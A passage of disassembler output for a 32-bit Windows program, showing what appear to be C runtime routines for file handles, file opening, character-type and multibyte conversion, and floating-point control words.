cmp eax, dword_4DD140
jnb short loc_4240D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4240D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4240D2: ; CODE XREF: sub_4240AA+Aj
; sub_4240AA+23j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
retn
sub_4240AA endp
; =============== S U B R O U T I N E =======================================
sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_424130
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_424130
push eax
call sub_4240AA
pop ecx
push eax
call dword_42701C ; FlushFileBuffers
test eax, eax
jnz short loc_424125
call dword_427094 ; RtlGetLastWin32Error
jmp short loc_424127
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_4240E7+34j
xor eax, eax
loc_424127: ; CODE XREF: sub_4240E7+3Cj
test eax, eax
jz short locret_42413D
mov dword_4DBDE0, eax
loc_424130: ; CODE XREF: sub_4240E7+Aj
; sub_4240E7+22j
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
locret_42413D: ; CODE XREF: sub_4240E7+42j
retn
sub_4240E7 endp
; =============== S U B R O U T I N E =======================================
sub_42413E proc near ; DATA XREF: .packed:00429020o
mov eax, dword_4DD020
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424152
mov eax, 200h
jmp short loc_424158
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42413E+Bj
cmp eax, esi
jge short loc_42415D
mov eax, esi
loc_424158: ; CODE XREF: sub_42413E+12j
mov dword_4DD020, eax
loc_42415D: ; CODE XREF: sub_42413E+16j
push 4
push eax
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 4
push esi
mov dword_4DD020, esi
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 1Ah
call sub_41E2C9
pop ecx
loc_424191: ; CODE XREF: sub_42413E+30j
; sub_42413E+49j
xor ecx, ecx
mov eax, offset off_43D568
loc_424198: ; CODE XREF: sub_42413E+6Ej
mov edx, dword_4DC01C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D7E8
jl short loc_424198
xor edx, edx
mov ecx, offset dword_43D578
loc_4241B5: ; CODE XREF: sub_42413E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DD040[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4241D2
test eax, eax
jnz short loc_4241D5
loc_4241D2: ; CODE XREF: sub_42413E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4241D5: ; CODE XREF: sub_42413E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D5D8
jl short loc_4241B5
pop esi
retn
sub_42413E endp
; =============== S U B R O U T I N E =======================================
sub_4241E3 proc near ; DATA XREF: .packed:00429030o
; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES
call sub_41E487
cmp byte_4DBE1C, 0
jz short locret_4241F6
jmp loc_425163
; ---------------------------------------------------------------------------
locret_4241F6: ; CODE XREF: sub_4241E3+Cj
retn
sub_4241E3 endp
; =============== S U B R O U T I N E =======================================
sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p
; sub_41FE2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBFAC
push 1000h
call sub_41BEB5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424220
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424231
; ---------------------------------------------------------------------------
loc_424220: ; CODE XREF: sub_4241F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424231: ; CODE XREF: sub_4241F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4241F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424261
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42426C
; ---------------------------------------------------------------------------
loc_424261: ; CODE XREF: sub_42423B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42426C: ; CODE XREF: sub_42423B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424286
test ch, 40h
jnz short loc_424282
cmp dword_4DBFF8, eax
jz short loc_424286
loc_424282: ; CODE XREF: sub_42423B+3Dj
or [ebp+var_1], 80h
loc_424286: ; CODE XREF: sub_42423B+38j
; sub_42423B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242BE
dec eax
jz short loc_4242B5
dec eax
jz short loc_4242AC
loc_424297: ; CODE XREF: sub_42423B+9Fj
; sub_42423B+E8j ...
mov dword_4DBDDC, 16h
mov dword_4DBDE0, ebx
jmp loc_4244D1
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_42423B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242B5: ; CODE XREF: sub_42423B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242BE: ; CODE XREF: sub_42423B+54j
mov [ebp+var_C], 80000000h
loc_4242C5: ; CODE XREF: sub_42423B+78j
; sub_42423B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4242F3
cmp eax, 20h
jz short loc_4242EA
cmp eax, 30h
jz short loc_4242E1
cmp eax, 40h
jnz short loc_424297
mov [ebp+var_10], esi
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42423B+9Aj
mov [ebp+var_10], 2
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242EA: ; CODE XREF: sub_42423B+95j
mov [ebp+var_10], 1
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242F3: ; CODE XREF: sub_42423B+90j
mov [ebp+var_10], ebx
loc_4242F6: ; CODE XREF: sub_42423B+A4j
; sub_42423B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424340
jz short loc_42433B
cmp ecx, ebx
jz short loc_42433B
cmp ecx, edi
jz short loc_424332
cmp ecx, 200h
jz short loc_424359
cmp ecx, 300h
jnz loc_424297
mov [ebp+var_8], 2
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424332: ; CODE XREF: sub_42423B+D8j
mov [ebp+var_8], 4
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_42433B: ; CODE XREF: sub_42423B+D0j
; sub_42423B+D4j
mov [ebp+var_8], esi
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424340: ; CODE XREF: sub_42423B+CEj
cmp ecx, 500h
jz short loc_424362
cmp ecx, 600h
jz short loc_424359
cmp ecx, edx
jz short loc_424362
jmp loc_424297
; ---------------------------------------------------------------------------
loc_424359: ; CODE XREF: sub_42423B+E0j
; sub_42423B+113j
mov [ebp+var_8], 5
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424362: ; CODE XREF: sub_42423B+10Bj
; sub_42423B+117j
mov [ebp+var_8], 1
loc_424369: ; CODE XREF: sub_42423B+F5j
; sub_42423B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424388
mov ecx, dword_4DBDE4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424388
push 1
pop esi
loc_424388: ; CODE XREF: sub_42423B+138j
; sub_42423B+148j
test al, 40h
jz short loc_424396
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424396: ; CODE XREF: sub_42423B+14Fj
test ah, 10h
jz short loc_42439D
or esi, edi
loc_42439D: ; CODE XREF: sub_42423B+15Ej
test al, 20h
jz short loc_4243A9
or esi, 8000000h
jmp short loc_4243B3
; ---------------------------------------------------------------------------
loc_4243A9: ; CODE XREF: sub_42423B+164j
test al, 10h
jz short loc_4243B3
or esi, 10000000h
loc_4243B3: ; CODE XREF: sub_42423B+16Cj
; sub_42423B+170j
call sub_423F24
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243D4
and dword_4DBDE0, 0
mov dword_4DBDDC, 18h
jmp short loc_424412
; ---------------------------------------------------------------------------
loc_4243D4: ; CODE XREF: sub_42423B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_424405
push esi
call dword_427024 ; GetFileType
test eax, eax
jnz short loc_424419
push esi
call dword_427070 ; CloseHandle
loc_424405: ; CODE XREF: sub_42423B+1B6j
call dword_427094 ; RtlGetLastWin32Error
push eax
call sub_420C7F
pop ecx
loc_424412: ; CODE XREF: sub_42423B+197j
mov eax, edi
jmp loc_4244EF
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_42423B+1C1j
cmp eax, 2
jnz short loc_424424
or [ebp+var_1], 40h
jmp short loc_42442D
; ---------------------------------------------------------------------------
loc_424424: ; CODE XREF: sub_42423B+1E1j
cmp eax, 3
jnz short loc_42442D
or [ebp+var_1], 8
loc_42442D: ; CODE XREF: sub_42423B+1E7j
; sub_42423B+1ECj
push esi
push ebx
call sub_423FB9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244D6
test al, 80h
jz short loc_4244D6
test byte ptr [ebp+arg_4], 2
jz short loc_4244D6
push 2
push 0FFFFFFFFh
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42448B
cmp dword_4DBDE0, 83h
jz short loc_4244D6
jmp short loc_4244CA
; ---------------------------------------------------------------------------
loc_42448B: ; CODE XREF: sub_42423B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F9BC
add esp, 0Ch
test eax, eax
jnz short loc_4244B8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244B8
push [ebp+var_10]
push ebx
call sub_4251BB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244CA
loc_4244B8: ; CODE XREF: sub_42423B+265j
; sub_42423B+26Bj
push 0
push 0
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244D6
loc_4244CA: ; CODE XREF: sub_42423B+24Ej
; sub_42423B+27Bj
push ebx
call sub_41E312
pop ecx
loc_4244D1: ; CODE XREF: sub_42423B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4244EF
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_42423B+221j
; sub_42423B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4244ED
test byte ptr [ebp+arg_4], 8
jz short loc_4244ED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4244ED: ; CODE XREF: sub_42423B+29Fj
; sub_42423B+2A5j
mov eax, ebx
loc_4244EF: ; CODE XREF: sub_42423B+1D9j
; sub_42423B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42423B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep
; sub_420988+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBFB4
xor ebx, ebx
cmp eax, ebx
jnz short loc_424563
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call dword_427014 ; GetStringTypeW
test eax, eax
jz short loc_424541
mov eax, esi
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424541: ; CODE XREF: sub_4244F4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push ebx
call dword_427018 ; GetStringTypeA
test eax, eax
jz loc_424629
push 2
pop eax
loc_42455E: ; CODE XREF: sub_4244F4+4Bj
mov dword_4DBFB4, eax
loc_424563: ; CODE XREF: sub_4244F4+2Fj
cmp eax, 2
jnz short loc_42458C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424574
mov eax, dword_4DBE84
loc_424574: ; CODE XREF: sub_4244F4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_427018 ; GetStringTypeA
jmp loc_42462B
; ---------------------------------------------------------------------------
loc_42458C: ; CODE XREF: sub_4244F4+72j
cmp eax, 1
jnz loc_424629
cmp [ebp+arg_10], ebx
jnz short loc_4245A2
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_4245A2: ; CODE XREF: sub_4244F4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_4270E8 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_424629
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BF70
add esp, 0Ch
jmp short loc_4245F8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4245F8: ; CODE XREF: sub_4244F4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_424629
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_4270E8 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_424629
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_427014 ; GetStringTypeW
jmp short loc_42462B
; ---------------------------------------------------------------------------
loc_424629: ; CODE XREF: sub_4244F4+61j
; sub_4244F4+9Bj ...
xor eax, eax
loc_42462B: ; CODE XREF: sub_4244F4+93j
; sub_4244F4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4244F4 endp
; =============== S U B R O U T I N E =======================================
sub_42463D proc near ; CODE XREF: sub_41FE2A+61p
; sub_420CE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jb short loc_42464C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_42463D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_42463D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p
; sub_41FF3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42466F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424663+8j
cmp dword_4DBE84, 0
jnz short loc_42468A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246BC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: sub_424663+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43D084
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBE94
call dword_427188 ; WideCharToMultiByte
test eax, eax
jz short loc_4246BC
cmp [ebp+arg_0], 0
jz short loc_4246C9
loc_4246BC: ; CODE XREF: sub_424663+1Ej
; sub_424663+51j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
loc_4246C9: ; CODE XREF: sub_424663+57j
pop ebp
retn
sub_424663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4246EE
cmp [ebp+arg_8], ebx
jz short loc_4246EE
mov al, [esi]
cmp al, bl
jnz short loc_4246F4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4246EE
mov [eax], bx
loc_4246EE: ; CODE XREF: sub_4246CB+Cj
; sub_4246CB+11j ...
xor eax, eax
loc_4246F0: ; CODE XREF: sub_4246CB+42j
; sub_4246CB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246F4: ; CODE XREF: sub_4246CB+17j
cmp dword_4DBE84, ebx
jnz short loc_42470F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42470A
movzx ax, al
mov [ecx], ax
loc_42470A: ; CODE XREF: sub_4246CB+36j
; sub_4246CB+C0j
push 1
pop eax
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42470F: ; CODE XREF: sub_4246CB+2Fj
mov ecx, off_43CE78
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42476C
mov eax, dword_43D084
cmp eax, 1
jle short loc_424753
cmp [ebp+arg_8], eax
jl short loc_42475D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBE94
call dword_4270E8 ; MultiByteToWideChar
test eax, eax
mov eax, dword_43D084
jnz short loc_4246F0
loc_424753: ; CODE XREF: sub_4246CB+5Cj
cmp [ebp+arg_8], eax
jb short loc_42475D
cmp [esi+1], bl
jnz short loc_4246F0
loc_42475D: ; CODE XREF: sub_4246CB+61j
; sub_4246CB+8Bj ...
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42476C: ; CODE XREF: sub_4246CB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBE94
call dword_4270E8 ; MultiByteToWideChar
test eax, eax
jnz loc_42470A
jmp short loc_42475D
sub_4246CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p
; sub_420DB0+7E7p
cmp cl, 40h
jnb short loc_4247BA
cmp cl, 20h
jnb short loc_4247B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: sub_4247A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_4247A0+3j
xor eax, eax
xor edx, edx
retn
sub_4247A0 endp
; =============== S U B R O U T I N E =======================================
sub_4247BF proc near ; CODE XREF: sub_421826+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42480B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247DD
test al, 80h
jz short loc_42480B
test al, 2
jnz short loc_42480B
loc_4247DD: ; CODE XREF: sub_4247BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_4247EA
push esi
call sub_4241F7
pop ecx
loc_4247EA: ; CODE XREF: sub_4247BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4247FA
cmp dword ptr [esi+4], 0
jnz short loc_42480B
inc eax
mov [esi], eax
loc_4247FA: ; CODE XREF: sub_4247BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424811
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424817
inc eax
mov [esi], eax
loc_42480B: ; CODE XREF: sub_4247BF+9j
; sub_4247BF+18j ...
or eax, 0FFFFFFFFh
loc_42480E: ; CODE XREF: sub_4247BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424811: ; CODE XREF: sub_4247BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424817: ; CODE XREF: sub_4247BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42480E
sub_4247BF endp
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: sub_421E16+52p
xor eax, eax
retn
sub_42482D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424830 proc near ; CODE XREF: sub_424865+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42487B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42490D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424830 endp
; =============== S U B R O U T I N E =======================================
sub_424865 proc near ; CODE XREF: sub_422102+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424830
pop ecx
pop ecx
retn
sub_424865 endp
; =============== S U B R O U T I N E =======================================
sub_42487B proc near ; CODE XREF: sub_424830+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42488C
push 10h
pop eax
loc_42488C: ; CODE XREF: sub_42487B+Cj
test bl, 4
jz short loc_424893
or al, 8
loc_424893: ; CODE XREF: sub_42487B+14j
test bl, 8
jz short loc_42489A
or al, 4
loc_42489A: ; CODE XREF: sub_42487B+1Bj
test bl, 10h
jz short loc_4248A1
or al, 2
loc_4248A1: ; CODE XREF: sub_42487B+22j
test bl, 20h
jz short loc_4248A8
or al, 1
loc_4248A8: ; CODE XREF: sub_42487B+29j
test bl, 2
jz short loc_4248B2
or eax, 80000h
loc_4248B2: ; CODE XREF: sub_42487B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4248EA
cmp edx, 400h
jz short loc_4248E7
cmp edx, 800h
jz short loc_4248E3
cmp edx, esi
jnz short loc_4248EA
or eax, edi
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E3: ; CODE XREF: sub_42487B+5Ej
or eax, ebp
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_42487B+56j
or ah, 1
loc_4248EA: ; CODE XREF: sub_42487B+4Ej
; sub_42487B+62j ...
and ecx, edi
pop esi
jz short loc_4248FA
cmp ecx, ebp
jnz short loc_4248FF
or eax, 10000h
jmp short loc_4248FF
; ---------------------------------------------------------------------------
loc_4248FA: ; CODE XREF: sub_42487B+72j
or eax, 20000h
loc_4248FF: ; CODE XREF: sub_42487B+76j
; sub_42487B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42490C
or eax, 40000h
locret_42490C: ; CODE XREF: sub_42487B+8Aj
retn
sub_42487B endp
; =============== S U B R O U T I N E =======================================
sub_42490D proc near ; CODE XREF: sub_424830+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42491D
push 1
pop eax
loc_42491D: ; CODE XREF: sub_42490D+Bj
test bl, 8
jz short loc_424924
or al, 4
loc_424924: ; CODE XREF: sub_42490D+13j
test bl, 4
jz short loc_42492B
or al, 8
loc_42492B: ; CODE XREF: sub_42490D+1Aj
test bl, 2
jz short loc_424932
or al, 10h
loc_424932: ; CODE XREF: sub_42490D+21j
test bl, 1
jz short loc_424939
or al, 20h
loc_424939: ; CODE XREF: sub_42490D+28j
test ebx, 80000h
jz short loc_424943
or al, 2
loc_424943: ; CODE XREF: sub_42490D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424970
cmp ecx, 100h
jz short loc_42496D
cmp ecx, esi
jz short loc_424968
cmp ecx, edx
jnz short loc_424970
or ah, 0Ch
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_424968: ; CODE XREF: sub_42490D+50j
or ah, 8
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_42490D+4Cj
or ah, 4
loc_424970: ; CODE XREF: sub_42490D+44j
; sub_42490D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424986
cmp ecx, 10000h
jnz short loc_424988
or eax, esi
jmp short loc_424988
; ---------------------------------------------------------------------------
loc_424986: ; CODE XREF: sub_42490D+6Bj
or eax, edx
loc_424988: ; CODE XREF: sub_42490D+73j
; sub_42490D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424995
or ah, 10h
locret_424995: ; CODE XREF: sub_42490D+83j
retn
sub_42490D endp
; =============== S U B R O U T I N E =======================================
sub_424996 proc near ; CODE XREF: sub_424A35+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249DB
inc esi
cmp esi, 3
jge short loc_4249D6
lea eax, [eax+esi*4]
loc_4249C8: ; CODE XREF: sub_424996+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249C8
loc_4249D6: ; CODE XREF: sub_424996+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249DB: ; CODE XREF: sub_424996+27j
; sub_424996+35j
xor eax, eax
pop esi
retn
sub_424996 endp
; =============== S U B R O U T I N E =======================================
sub_4249DF proc near ; CODE XREF: sub_424A35+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
js short loc_424A31
lea edi, [ebx+esi*4]
loc_424A18: ; CODE XREF: sub_4249DF+50j
test eax, eax
jz short loc_424A31
push edi
push 1
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A18
loc_424A31: ; CODE XREF: sub_4249DF+34j
; sub_4249DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A35 proc near ; CODE XREF: sub_424B90+81p
; sub_424B90+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
